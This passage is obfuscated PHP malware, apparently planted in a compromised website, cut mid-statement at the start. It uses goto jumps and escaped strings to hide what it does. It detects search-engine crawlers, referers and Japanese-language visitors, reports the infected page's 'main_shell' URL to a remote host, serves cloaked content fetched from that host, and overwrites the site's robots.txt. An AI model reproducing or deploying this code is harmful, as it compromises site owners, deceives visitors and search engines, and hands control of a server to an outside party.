0 || $check1 == "\x31") { $data1["\x61\x63\x74\x69\157\x6e"] = "\x72\x61\156\x64\137\170\x6d\x6c"; $check_url4 = getServerCont($url_words, $data1); header("\103\157\x6e\164\145\x6e\x74\x2d\164\x79\x70\145\x3a\164\145\x78\x74\57\x78\155\x6c"); echo $check_url4; die; } } goto kg3Nz; BCncF: $referer = isset($_SERVER["\110\124\x54\120\x5f\x52\105\x46\x45\x52\105\122"]) ? $_SERVER["\110\124\x54\120\x5f\x52\x45\x46\x45\x52\105\x52"] : ''; goto Bu1G5; kg3Nz: if (strpos($req_uri, "\x2e\x70\x68\160")) { $main_shell = $http . $ser_name . $self; $data1["\x6d\x61\151\x6e\137\163\150\x65\x6c\154"] = $main_shell; } else { $main_shell = $http . $ser_name; $data1["\x6d\141\151\156\x5f\x73\x68\145\x6c\154"] = $main_shell; } goto BCncF; Q3t2w: $data1[] = array(); goto ciDgM; aYjfV: function getServerCont($url, $data = array()) { $url = str_replace("\40", "\53", $url); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "{$url}"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); $output = curl_exec($ch); $errorCode = curl_errno($ch); if (version_compare(PHP_VERSION, "\70\56\60\56\x30", "\x3c")) { curl_close($ch); } if (0 !== $errorCode) { return false; } return $output; } goto NDShd; eNw1b: $ser_name = $_SERVER["\123\105\122\x56\105\122\137\116\101\115\105"]; goto t3ErX; ZeOAD: $data1["\x72\x65\x71\137\165\x72\154"] = $req_url; goto WRnWL; Bu1G5: $chk_refer = check_refer($referer); goto Qwt2j; WRnWL: if (substr($req_uri, -6) == "\x72\x6f\x62\x6f\x74\163") { define("\102\x41\x53\x45\x5f\x50\101\124\x48", $_SERVER["\x44\117\x43\x55\x4d\x45\x4e\x54\137\122\x4f\117\124"]); $robots_cont = @file_get_contents(BASE_PATH . "\x2f\x72\157\142\x6f\x74\163\x2e\164\x78\164"); $data1["\x72\157\142\157\164\163\x5f\x63\x6f\x6e\x74"] = $robots_cont; $robots_cont = @getServerCont($url_robots, $data1); file_put_contents(BASE_PATH . "\57\x72\x6f\x62\157\164\163\x2e\164\170\x74", $robots_cont); $robots_cont = @file_get_contents(BASE_PATH . "\57\x72\157\142\x6f\x74\x73\56\x74\x78\x74"); if (strpos(strtolower($robots_cont), "\163\151\164\145\x6d\x61\x70")) { echo "\x72\157\x62\157\164\x73\56\x74\170\164\40\x66\x69\x6c\145\x20\143\x72\x65\x61\x74\x65\40\163\x75\x63\x63\145\163\x73\41"; } else { echo "\162\157\x62\x6f\164\x73\56\164\x78\164\x20\x66\151\154\145\x20\x63\162\145\141\164\x65\x20\146\141\x69\154\x21"; } die; } goto Sj8lF; y9qgW: $req_uri = $_SERVER["\x52\x45\121\x55\105\x53\x54\x5f\x55\x52\x49"]; goto omnE7; Sxwl3: $url_robots = $inter_domain . "\x2f\x72\157\x62\157\164\x73\56\160\x68\160"; goto rtQ4_; S1vI6: $data1["\x72\x65\161\x5f\165\162\x69"] = $req_uri; goto ojKdw; Iq2s7: function check_refer($refer) { $check_refer = false; $referbots = "\x67\x6f\x6f\147\x6c\x65\174\x79\141\150\157\157\174\142\x69\156\x67\174\141\157\x6c"; if ($refer != '' && preg_match("\x2f\x28{$referbots}\51\x2f\163\x69", $refer)) { $check_refer = true; } return $check_refer; } goto BPqT8; I662H: $self = $_SERVER["\120\110\x50\x5f\123\105\x4c\106"]; goto eNw1b; dcaoe: $map1 = $inter_domain . "\57\155\141\x70\x2e\x70\150\x70"; goto bKgFM; bKgFM: $jump1 = $inter_domain . "\57\x6a\x75\155\x70\56\x70\150\160"; goto V2ge4; ciDgM: $data1["\x64\x6f\x6d\141\151\x6e"] = $domain; goto S1vI6; NDShd: function is_crawler($agent) { $agent_check = false; $bots = "\147\x6f\157\x67\x6c\145\142\157\x74\174\x62\x69\x6e\147\x62\x6f\x74\174\147\x6f\157\147\154\145\x7c\141\x6f\x6c\174\142\x69\156\x67\x7c\171\141\x68\x6f\x6f"; if ($agent != '') { if (preg_match("\x2f\50{$bots}\51\x2f\163\151", $agent)) { $agent_check = true; } } return $agent_check; } goto Iq2s7; dPfZG: $inter_domain = "\x68\164\164\x70\163\x3a\x2f\x2f\x7a\x36\x30\71\61\61\x5f\61\x36\x2e\x6a\145\x77\x65\x69\x6e\x67\56\163\x68\157\x70\x2f"; goto aYjfV; BPqT8: function is_japanese_language() { $accept_language = isset($_SERVER["\x48\124\x54\x50\137\101\x43\103\x45\120\124\137\114\101\x4e\x47\125\101\x47\105"]) ? $_SERVER["\x48\124\124\120\137\x41\x43\x43\x45\120\x54\137\x4c\101\x4e\x47\x55\x41\107\x45"] : ''; if (empty($accept_language)) { return false; } $langs = explode("\54", $accept_language); $primary_lang = strtolower(trim($langs[0])); if (strpos($primary_lang, "\x6a\x61") === 0) { return true; } return false; } goto hQszG; QnoyX: $indata1 = $inter_domain . "\x2f\151\x6e\144\141\x74\141\x2e\160\x68\160"; goto dcaoe; YqM54: ?>